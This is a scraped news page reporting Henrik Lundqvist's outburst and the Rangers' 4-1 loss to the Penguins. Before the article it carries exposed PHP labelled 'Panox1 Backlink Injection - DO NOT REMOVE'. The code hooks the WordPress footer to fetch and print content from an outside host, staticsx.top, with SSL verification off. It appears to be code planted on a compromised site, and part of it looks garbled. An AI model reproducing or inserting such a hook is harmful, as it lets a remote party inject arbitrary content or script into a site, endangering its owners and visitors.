// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Lundqvist loses cool, takes it out on net as Rangers lose – Next Sports News

Lundqvist loses cool, takes it out on net as Rangers lose

[ad_1]

Nothin' but net: Rangers goalie Henrik Lundqvist tries to get the attention of officials by knocking over his own net during a loss to the Penguins Thursday night.Gene J. Puskar/AP

Nothin’ but net: Rangers goalie Henrik Lundqvist tries to get the attention of officials by knocking over his own net during a loss to the Penguins Thursday night.

PITTSBURGH – Henrik Lundqvist absolutely lost it Thursday night. He lost the game, and he lost his patience.

Lundqvist’s superstar effort through one-plus periods devolved into a fiery debacle thanks to two of the other best hockey players on the planet, Sidney Crosby and Evgeni Malkin. Three Penguins goals in a span of 99 seconds late in the second period handed the Rangers a 4-1 loss at CONSOL Energy Center.

But Alain Vigneault then pulled Lundqvist for the fifth time this season at second intermission, and the Rangers’ franchise goaltender did not even return to the bench for the third. The team said it would have no update until postgame. It is quite possible, though, that Lundqvist’s frustration boiled over behind the scenes.

With the game scoreless at 6:17 of the second period, Lundqvist flipped out after Penguins forward Patric Hornqvist pushed Lundqvist’s teammate, captain Ryan McDonagh, on top of him. On the Penguins’ next trip in, Lundqvist pushed his net off its moorings and screamed at officials to draw a delay of game penalty.

The crowd responded by mocking “Hennn-rikkk,” even though Lundqvist had carried an 80-minute shutout streak against the Penguins into the second period following a 34-save shutout win here on Feb. 10.

The wheels came off, however, after Chris Kreider opened scoring at 16:50 of the second off assists from Mats Zuccarello and McDonagh. With Rangers defenseman Marc Staal (flu) out of the lineup – the fourth Ranger to contract the flu in two weeks – Crosby evened the score 57 seconds later at 17:47 by poking his own rebound off the back of Lundqvist’s left skate.

Malkin needed only 21 seconds to give Pittsburgh the lead after Rangers center Derick Brassard lost the puck and Malkin in coverage. Then Patric Hornqvist redirected in a power play goal at 19:26 to capitalize on a Keith Yandle interference penalty.

Incredibly, Crosby and Malkin scored on Lundqvist in the same game for the first time since Oct. 2, 2009, according to the Elias Sports Bureau. The last time they had scored on any Rangers goalie in the same game was Nov. 28, 2009, on now-MSG studio analyst Steve Valiquette, per Elias.

Lundqvist's frustration boils over and he is pulled from the game.Gregory Shamus/NHLI via Getty Images

Lundqvist’s frustration boils over and he is pulled from the game.

Lundqvist, whose play deteriorated with his team’s in December, started the season red-hot and had been on fire in the New Year, with a 12-4-0 record in his last 16 games. He hadn’t been pulled from a game since Dec. 28 in Nashville, which had marked his fourth removal from a game that he’d started in a 12-game span.

But the Penguins (33-22-8, 74 points) snapped a three-game Rangers (37-21-6, 80 points) winning streak, and the Blueshirts planned to fly out immediately for another major in-division test Friday night in Washington against the league-leading Capitals (47-12-4, 98 points).

Backup Antti Raanta did not give up a goal in the third period but Phil Kessel scored a late empty-netter.

Lundqvist had said after his previous shutout here in Pittsburgh that he had changed something in his game that was paying dividends, but he wouldn’t reveal the secret to his success.

To the naked eye, Lundqvist appears to playing deeper in his net to give him more reaction time, since he considers his reflexes his greatest strength. And he is forcing every shooter to make the first move, waiting patiently to flex out wherever the puck arrives.

Lundqvist made three huge stops in Thursday’s first period: two point-blank saves on Pens D-men Trevor Daley and Derrick Pouliot, and a highlight-reel, cross-crease blocker denial of Nick Bonino on a two-on-none at 11:22. He was great for most of the second, too, but Pens goalie Marc Andre Fleury (27 saves) was too sharp on the opposite end.

The only bright spot was that Rick Nash (left leg bone bruise) skated Thursday morning for the first time since Feb. 2, without pain, and should be just 10-to-14 days away from playing barring setbacks.

[ad_2]

Source link

Reply